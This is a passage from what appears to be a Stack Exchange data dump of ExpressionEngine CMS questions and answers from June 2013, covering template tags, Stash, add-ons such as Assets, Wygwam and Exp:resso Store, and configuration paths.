right; margin-top: 15px;&quot;&amp;gt;&#xA;                &amp;lt;img src=&quot;{barristers_profile_image}&quot; alt=&quot;{title}&quot; title=&quot;{title}&quot;&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div style=&quot;width: 74%; float: left;&quot;&amp;gt;&#xA;                &amp;lt;h1 style=&quot;display: inline-block;&quot;&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;                &amp;lt;br /&amp;gt;&#xA;                &amp;lt;p&amp;gt;&#xA;                {if barristers_year_of_silk}jjYear of Silk: {barristers_year_of_silk format=&quot;%Y&quot;}&amp;lt;br /&amp;gt;{/if}&#xA;                Year of Call: {barristers_year_of_call format=&quot;%Y&quot;}&amp;lt;br /&amp;gt;&#xA;                {if barristers_email!=&quot;&quot; OR clerks_email!=&quot;&quot;}&amp;lt;a href=&quot;{if barristers_email}{barristers_email}{if:else}{clerks_email}{/if}&quot;&amp;gt;{if barristers_email}{barristers_email}{if:else}{clerks_email}{/if}&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;{/if}&#xA;                {if barristers_direct_dial}Direct Dial: {barristers_direct_dial}{/if}&#xA;                &amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {if barristers_featured_quote}&#xA;                      &amp;lt;blockquote class=&quot;featured-quote&quot; style=&quot;width: 50%; clear: both;&quot;&amp;gt;&#xA;                    {barristers_featured_quote}&#xA;                        {quote}&#xA;                        {if author_year}&amp;lt;h4&amp;gt;- Chambers &amp;amp;amp; Partners 2012&amp;lt;/h4&amp;gt;{/if}&#xA;                    {/barristers_featured_quote}&#xA;                      &amp;lt;/blockquote&amp;gt;&#xA;                {/if}&#xA;            &amp;lt;h2 class=&quot;header&quot; style=&quot;clear: both;&quot;&amp;gt;Overview&amp;lt;/h2&amp;gt;&#xA;            {barristers_profile_overview}&#xA;&#xA;            {if barristers_other_quotes}&amp;lt;h2 class=&quot;header&quot;&amp;gt;Quotes&amp;lt;/h2&amp;gt;{/if}&#xA;             {barristers_other_quotes sort=&quot;asc&quot;}&#xA;             &amp;lt;blockquote&amp;gt;&#xA;                 {quote}&#xA;                 {if author_year}&amp;lt;h4&amp;gt;- {author_year}&amp;lt;/h4&amp;gt;{/if}&#xA;              &amp;lt;/blockquote&amp;gt;&#xA;            {/barristers_other_quotes}&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;    {/exp:stash:set}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thankyou very much in advance for any help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alex.&lt;/p&gt;&#xA;" OwnerUserId="1640" LastEditorUserId="172" LastEditDate="2013-06-11T09:57:14.120" LastActivityDate="2013-06-11T09:57:14.120" Title="ExpressionEngine, php and stash - scope problem, please help" Tags="|stash|php|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11133" PostTypeId="2" ParentId="10629" CreationDate="2013-06-10T11:59:57.437" Score="0" Body="&lt;p&gt;Ok, so apparently this is an enormous conflict between &lt;code&gt;stash:set_list&lt;/code&gt;, switchee and parse-order. The parse order doesn't play nice with the combination of set_list and switchee, so I refactored it to plain conditionals, causing the unmatched conditional to parse but not return anything, fooling stash into thinking there's another item. Has anyone experienced this before?&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-06-10T11:59:57.437" CommentCount="0" CommunityOwnedDate="2013-06-10T11:59:57.437" ContentLicense="CC BY-SA 3.0" />
  <row Id="11135" PostTypeId="2" ParentId="11117" CreationDate="2013-06-10T13:32:09.133" Score="0" Body="&lt;p&gt;I've actually built exactly this. In my Zoo Visitor fields I have the following fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1x Playa Single Select for &quot;Active Course&quot;&lt;/li&gt;&#xA;&lt;li&gt;1x Playa Single Select for &quot;Active Lesson&quot;&lt;/li&gt;&#xA;&lt;li&gt;1x Matrix, with Playa Single Selects for &quot;Finished Courses&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The next Lesson is selected based on a sort of &quot;id&quot; they all have, which are sequential.&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-06-10T13:32:09.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11136" PostTypeId="1" AcceptedAnswerId="11858" CreationDate="2013-06-10T15:00:05.130" Score="3" ViewCount="156" Body="&lt;p&gt;So, similar to &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9631/assets-in-wygwam-not-displaying-on-front-end-in-ee-2-6-assets-2-1-1-wygwam-2-7-1&quot;&gt;this question&lt;/a&gt; when using Assets in a Wygwam field I am having to re-save an entry to get the image to output on the frontend. When I check what is getting saved to the db I get &lt;code&gt;{assets_132:{filedir_5}image.jpg}&lt;/code&gt; the first time, and &lt;code&gt;{filedir_5}image.jpg&lt;/code&gt; the second time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't matter if I make the changes described in the comments of &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9631/assets-in-wygwam-not-displaying-on-front-end-in-ee-2-6-assets-2-1-1-wygwam-2-7-1#comment11273_9631&quot;&gt;9631&lt;/a&gt;, the problem is exactly the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if I save an entry that already has an image in it that uses a &lt;code&gt;{filedir_X}image.jpg&lt;/code&gt; type url, it doesn't get converted to the &lt;code&gt;{assets_X)&lt;/code&gt; method. So for example if I upgrade Wygwam and Assets from an older version and then go and save the entry to get the image urls to update, they stay in their original states. To get them to change I have to delete the image and re-add it from the file browser, then they will break for the first save as described above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using EE 2.6.1, Assets 2.1.3 and Wygwam 2.7.1 and running this locally with php v 5.4.13.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all happened after an upgrade from EE 2.4.0, Assets 1.1.5 and Wygwam 2.5.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I am also unable to move any files around in Assets once they have been added to a Wygwam field in this manner. The Wygwam references don't get updated once the file has been moved.&lt;/p&gt;&#xA;" OwnerUserId="1090" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-07-11T13:37:37.043" Title="Assets in Wygwam only inserting {assets_X} on first save" Tags="|assets|wygwam|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11137" PostTypeId="1" CreationDate="2013-06-10T17:02:26.337" Score="1" ViewCount="80" Body="&lt;p&gt;Currently have a channel entry that has amongst one of its fields a MATRIX to upload a series of images too. Now this is currently been populated using the MATRIX MULTI UPLOAD and for the most part is working well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just recently the client has seen that when adding over 100 images to this matrix on submitting the entry the page is showing the homepage of the site under the Control Panel URL and is not saving the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive upped things such as :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;upload_max_filesize = 100M&#xA;post_max_size = 120M&#xA;memory_limit = 100M&#xA;max_execution_time = 900&#xA;max_file_uploads = 300&#xA;max_input_time = 500&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this doesn't seem to have been much help. The figures are correct still, but its just an odd scenario. Anyone else has a similar issue with even showing the actual homepage under a control panel URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also any other ideas as to what could be causing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;B.&lt;/p&gt;&#xA;" OwnerUserId="1005" LastActivityDate="2013-06-10T17:02:26.337" Title="On entry save... redirecting tp front-end homepage" Tags="|matrix|assets|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11138" PostTypeId="1" CreationDate="2013-06-10T17:25:18.563" Score="1" ViewCount="134" Body="&lt;p&gt;Maybe a better name for an add-on would be good. But I was thinking recently after a near life ending medical condition. What would happen once I’m gone to my personal website and my journals?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have since made sure I have a detailed manual for keeping my site up, and how to. But I was also thinking about my yet to be posted stuff. This was an easy fix just place entry date in future and do not use any future entries on public pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My journals and un-posted ideas could just end in a pile of recycling. But within this someone else may get inspiration. While alive I would not want these to be posted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is what I would like to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;•   Able to set a whole channel as “off”, and still have listed in all my templates, just won’t render any thing&lt;/p&gt;&#xA;&#xA;&lt;p&gt;•   Per entry set to single member (currently available add-on) for letters to friends and loved ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;•   Daily verification emails to see if I’m still around, if no reply a second level of verifications, then if no reply the hidden channel becomes active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;•   A 3rd level could be emails to friends and family to verify&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sounds kind off sick, but I have way more art and ideas done up than what’s on my personal site, and I would hate to see that disappear. Just think of it as a Digital Will for EE, WillEE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far my best solution I can do is a CRON job that would replace a few templates with ones that would also include the hidden channels to be rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks Mike&lt;/p&gt;&#xA;" OwnerUserId="1305" LastActivityDate="2013-06-11T20:17:49.930" Title="Dead Man Switch" Tags="|switch|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11139" PostTypeId="1" AcceptedAnswerId="11140" CreationDate="2013-06-10T17:29:26.860" Score="1" ViewCount="445" Body="&lt;p&gt;I need to order blog posts by year and month so the output would be someting like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;June 2013&#xA;Blog Title 1&#xA;Blog Title 2&#xA;&#xA;May 2013&#xA;Blog Title 3&#xA;Blog Title 4&#xA;&#xA;December 2012&#xA;Blog Title 5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this. Any help most appreciated. Thanks&lt;/p&gt;&#xA;" OwnerUserId="1623" LastActivityDate="2014-07-10T22:35:58.980" Title="Order entries by month and year" Tags="|orderby|sort|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11140" PostTypeId="2" ParentId="11139" CreationDate="2013-06-10T17:44:51.620" Score="3" Body="&lt;p&gt;You should use a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#date-heading&quot; rel=&quot;nofollow&quot;&gt;date_heading&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries [...]}&#xA;    {date_heading display=&quot;monthly&quot;}{entry_date format=&quot;%F %Y&quot;}{/date_heading}&#xA;    [...]&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The value of the parameter &quot;display&quot; will set when the code on {date_heading} variable pair will be repeated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please, forgive the simple code sample, but you don't gave more details.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-06-10T17:44:51.620" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11141" PostTypeId="2" ParentId="11139" CreationDate="2013-06-10T17:49:38.307" Score="0" Body="&lt;p&gt;You might use &quot;Low Yearly Archives&quot; plugin. Find the doc from here &lt;a href=&quot;http://gotolow.com/addons/low-yearly-archives&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-yearly-archives&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-06-10T17:49:38.307" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11142" PostTypeId="1" CreationDate="2013-06-10T18:00:05.823" Score="2" ViewCount="236" Body="&lt;p&gt;Is it possible to set a maximum order quantity with Exp:resso Store? The site I'm working on would like to offer free samples. Any help or direction would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="947" LastEditorUserId="28" LastEditDate="2013-11-04T19:51:34.660" LastActivityDate="2013-11-04T19:51:34.660" Title="Exp:resso Store: Max Order Quantity" Tags="|expresso-store|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11143" PostTypeId="2" ParentId="11131" CreationDate="2013-06-10T18:10:47.203" Score="0" Body="&lt;p&gt;The migration script has been written and already tested by a couple of people. Get in touch so we can send you the updated build.&lt;/p&gt;&#xA;" OwnerUserId="934" LastActivityDate="2013-06-10T18:10:47.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11144" PostTypeId="2" ParentId="11061" CreationDate="2013-06-10T18:21:53.380" Score="1" Body="&lt;p&gt;In your index.php file for the second site (or third or fourth...) there are $assign_to_config variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/sites/domainsetup.html&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['site_name'] = 'domain2_short_name';&#xA;$assign_to_config['cp_url']    = 'http://domain2.com/admin.php';&#xA;$assign_to_config['site_url']  = 'http://domain2.com';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All three should be set properly or it can default to the main site.&lt;/p&gt;&#xA;" OwnerUserId="1262" LastActivityDate="2013-06-10T18:21:53.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11145" PostTypeId="1" AcceptedAnswerId="11146" CreationDate="2013-06-10T18:49:40.563" Score="1" ViewCount="374" Body="&lt;p&gt;I am trying to get the default Password Reset form working. I receive the email in my inbox, as expected, then I am taking to form asking for a new password and to confirm it. I click Submit and I am sorta taking to my index page. I say sorta because I have to refresh the page to actually see the page. Is this possibly why the password is not resetting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried this in Safari, Chrome and Firefox on the Mac. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;John&lt;/p&gt;&#xA;" OwnerUserId="1418" LastActivityDate="2013-10-30T20:03:33.350" Title="EE 2.6.1 Password not getting reset" Tags="|password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11146" PostTypeId="2" ParentId="11145" CreationDate="2013-06-10T19:12:51.963" Score="2" Body="&lt;p&gt;Could you check if its related to this bug report &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19414&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19414&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-06-10T19:12:51.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11147" PostTypeId="1" AcceptedAnswerId="11148" CreationDate="2013-06-10T19:47:53.427" Score="0" ViewCount="584" Body="&lt;p&gt;I moved my system folder above the root and was updating the database.php file and was confused about the correct path for one of the settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should it be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$db['expressionengine']['cachedir'] = '/nfs/c10/h06/mnt/143832/domains/website.org/&lt;strong&gt;html&lt;/strong&gt;/system/expressionengine/cache/db_cache/';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;p&gt;$db['expressionengine']['cachedir'] = '/nfs/c10/h06/mnt/143832/domains/website.org/system/expressionengine/cache/db_cache/';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1364" LastActivityDate="2013-06-11T08:27:03.747" Title="System folder &amp; database.php path" Tags="|php|database|path|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11148" PostTypeId="2" ParentId="11147" CreationDate="2013-06-10T19:58:18.780" Score="0" Body="&lt;p&gt;If the root of your site is &quot;/nfs/c10/h06/mnt/143832/domains/website.org/html/&quot;, the right option is the second one.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-06-10T19:58:18.780" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11149" PostTypeId="2" ParentId="11142" CreationDate="2013-06-10T20:18:40.000" Score="3" Body="&lt;p&gt;There's no option to set a maximum quantity in the Store field itself but you could do a check for this in your templates with a little javascript to stop users from adding more than X items to their cart by checking for the quantity field&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;item_qty&quot; size=&quot;3&quot; value=&quot;1&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If it applies to the order as a whole then you can use checking in your templates:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if order_qty &amp;gt; '10'} You are only allowed a maximum of 10 items {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can see that it could be a common use case however.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-06-10T20:18:40.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11150" PostTypeId="1" CreationDate="2013-06-11T07:45:06.590" Score="2" ViewCount="146" Body="&lt;p&gt;I've installed the latest version of DevDemons Forms(3.3.5)&lt;/p&gt;&#xA;&lt;p&gt;When I navigate to the index page of the Control Panel I'll get the following error.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;&lt;p&gt;Severity: 4096&lt;/p&gt;&#xA;&lt;p&gt;Message:  Object of class EE_Session could not be converted to string&lt;/p&gt;&#xA;&lt;p&gt;Filename: forms/ext.forms.php&lt;/p&gt;&#xA;&lt;p&gt;Line Number: 240&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I also found a bug report on the Ellislab website related to this problem &lt;a href=&quot;https://support.ellislab.com/bugs/detail/19469&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.ellislab.com/bugs/detail/19469&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="171" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-06-11T12:28:18.477" Title="Object of class EE_Session could not be converted to string in DevDemons forms" Tags="|php|forms|bug|devdemon|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11151" PostTypeId="2" ParentId="11150" CreationDate="2013-06-11T08:17:07.167" Score="1" Body="&lt;p&gt;This is something that DevDemon will need to look into as it relates to the Session class constructor where the session_start hook is being called which corrupts the last call object. Instead of a string it is now returning an object which throws the error. The fix will most likely require a change to grab the last_call content before loading the session library and append this when returning a value in the cp_js_end hook.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-06-11T08:17:07.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11152" PostTypeId="2" ParentId="11147" CreationDate="2013-06-11T08:27:03.747" Score="1" Body="&lt;p&gt;I'd look to make it a little more dynamic (and legible) by using APPPATH:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db['expressionengine']['cachedir'] = APPPATH.&quot;cache/db_cache/&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You still need to set 777 permissions on the cache/ directory but it will be writable when placed above the webroot.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-06-11T08:27:03.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11153" PostTypeId="2" ParentId="11132" CreationDate="2013-06-11T09:19:34.173" Score="1" Body="&lt;p&gt;Just to echo Rob above it would help to fix your code block formatting above to make it more comprehensible, and add comments to explain what you are doing at each step. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see a few things in any case that might be a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This recursion is likely to cause problems:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;pdf_string&quot; output=&quot;no&quot; parse_tags=&quot;yes&quot; trim=&quot;yes&quot; save=&quot;yes&quot; replace=&quot;yes&quot; scope=&quot;user&quot;}&#xA;{exp:stash:get name name=&quot;pdf_string&quot; scope=&quot;user&quot;}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Putting embeds in a loop is bad for performance, because each embed creates a new instance of the template parser:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$j=0;&#xA;while ($j &amp;lt; $num_barrister_faves) { &#xA;&#xA;    //echo &quot;&amp;lt;p&amp;gt;&quot;.$barrister_exploded_fave_ids[$j].&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;&#xA;    echo &quot;{embed='includes/pdf_format_expertise' barrister_id='$this_barrister_id' fave_id='$barrister_exploded_fave_ids[$j]'}&quot;;&#xA;&#xA;$j++;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Mixing PHP and ExpressionEngine tags is, in my opinion, always a bad idea. Besides the basic legibility of your code, EE tags are parsed recursively while PHP is parsed linearly. Confusion is practically guaranteed. It will be more performant and maintainable to write a custom module or plugin to handle the logic and use either the tagdata as the view or load a view to layout your output. Note that you can use Stash programatically if you want to set placeholders or reuse variables elsewhere, e.g. &lt;code&gt;stash::set($params)&lt;/code&gt;, &lt;code&gt;stash::get($params)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="289" LastActivityDate="2013-06-11T09:19:34.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11154" PostTypeId="1" CreationDate="2013-06-11T10:16:36.163" Score="2" ViewCount="128" Body="&lt;p&gt;Is there a way to allow say 10 items to be added to a cart when there are are only 6 in stock and in the database the value of items is -4, therefore out of stock items can be added to the cart. Would like to keep inventory exact rather than unlimited but at the same time allow for orders that exceed the stock quantity&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, providing user feedback stating that some items are out of stock when the shopping cart page is loaded?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="865" LastActivityDate="2013-06-14T21:29:22.450" Title="expresso store - adding more items than in stock" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11155" PostTypeId="2" ParentId="10582" CreationDate="2013-06-11T10:47:02.620" Score="4" Body="&lt;p&gt;I've discovered the cause:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The channel entries and categories are added through a web service, and it turns out I missed the &lt;code&gt;exp_category_field_data&lt;/code&gt; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without anything in this table, only the last category was showing. I've updated the web service to add the categories to this table, and it's working correctly now.&lt;/p&gt;&#xA;" OwnerUserId="823" LastActivityDate="2013-06-11T10:47:02.620" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11156" PostTypeId="1" CreationDate="2013-06-11T11:39:52.060" Score="1" ViewCount="256" Body="&lt;p&gt;I 'm using CartThrob Subscriptions module. In this module area, while clicking at &quot;Add Subscription&quot; button, I 'm getting the message &quot;&lt;em&gt;To create new subscriptions for existing customers, you must already have member data stored with the payment processor. You currently have no payment vaults available for any customers&lt;/em&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshot is here:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/vMYQI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me if s(he) faced such a thing and resolve it. I am really stuck here and couldn't understand what more settings I need to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I 'll highly appreciate your help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, &lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-06-11T18:33:30.697" Title="CartThrob Subscriptions module issue" Tags="|cartthrob|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11157" PostTypeId="2" ParentId="11150" CreationDate="2013-06-11T12:28:18.477" Score="0" Body="&lt;p&gt;For bug reports could you please open up a support request at our site? That is the fastest way to get bug reports fixed/processes.&lt;/p&gt;&#xA;" OwnerUserId="934" LastActivityDate="2013-06-11T12:28:18.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11158" PostTypeId="1" CreationDate="2013-06-11T12:36:42.733" Score="0" ViewCount="121" Body="&lt;p&gt;We're trying to debug a site with multiple routing problems. We obviously need the debug profile to see what templates are being parsed and when. However, the results are not being shown on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're of course logged in as superadmins.&#xA;We tried the debug toolbar too, but nothing shows up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Santiago&lt;/p&gt;&#xA;" OwnerUserId="1427" LastActivityDate="2013-06-11T12:36:42.733" Title="Debug not outputting content" Tags="|debugging|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11159" PostTypeId="1" CreationDate="2013-06-11T13:44:49.030" Score="0" ViewCount="53" Body="&lt;p&gt;I am using Entry Linking 2.1 to display prev/next entries in the SAME cateogry as the current single entry page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot get the plugin to recognize the current category unless it is hardcoded.  I tried low segtocat and it will not work in the Entry Linking code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:entry_linking entry_id=&quot;{entry_id}&quot; link=&quot;previous&quot; channel=&quot;portfolio&quot; orderby=&quot;entry_date&quot; status=&quot;Open|Sold&quot; sort=&quot;asc&quot; mode=&quot;short&quot; category=&quot;{segment_3_category_id}&quot;  no_results=&quot;cycle&quot;}&#xA;&amp;lt;a href=&quot;{path={segment_1}/{segment_2}/{segment_3}/{link_url_title}}&quot;&amp;gt;&amp;lt;&amp;lt;/a&amp;gt;&#xA;{/exp:entry_linking} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-06-11T16:45:24.773" Title="Entry linking 2.1 with dynamic categories" Tags="|categories|entry|links|entrylinks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11162" PostTypeId="1" CreationDate="2013-06-11T14:28:21.450" Score="0" ViewCount="458" Body="&lt;p&gt;My channel entries do not include their respective categories in the title permalink.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get each entries link to include the category in the url?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so my {title_permalink='showroom'} would end up being: showroom/category/cat_url_title/entry_title&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:category_archive channel=&quot;portfolio&quot; style=&quot;linear&quot;} &#xA;&amp;lt;div id=&quot;glance&quot;&amp;gt;&#xA;    {categories}&#xA;          &amp;lt;div class=&quot;skim-me&quot;&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;    {exp:channel:entries channel=&quot;portfolio&quot; limit=&quot;99&quot; sort=&quot;asc&quot; status=&quot;not Closed&quot; category=&quot;{category_id}&quot;}&#xA;    {portfolio_images}&#xA;     &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{title_permalink='showroom'}&quot;&amp;gt;{exp:ce_img:pair src=&quot;{cell_2}&quot; width=&quot;300&quot; height=&quot;200&quot; crop=&quot;yes&quot;}&amp;lt;img src=&quot;{made}&quot; alt=&quot;&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; alt=&quot;{title}&quot;/&amp;gt;{/exp:ce_img:pair}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/portfolio_images}&#xA;    {/exp:channel:entries}&#xA;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt; &amp;lt;!--end skim-me--&amp;gt;&#xA;    &amp;lt;br style=&quot;clear:both;&quot; /&amp;gt;&amp;lt;br /&amp;gt;&#xA;     &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;{path='showroom'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;    &amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;    {/categories}     &#xA;      &amp;lt;/div&amp;gt;&amp;lt;!--end GLANCE--&amp;gt;&#xA;&#xA;    {/exp:channel:category_archive}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="451" LastActivityDate="2013-06-12T09:39:40.663" Title="channel entries to include their respective categories in the title permalink" Tags="|categories|links|category-archive|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
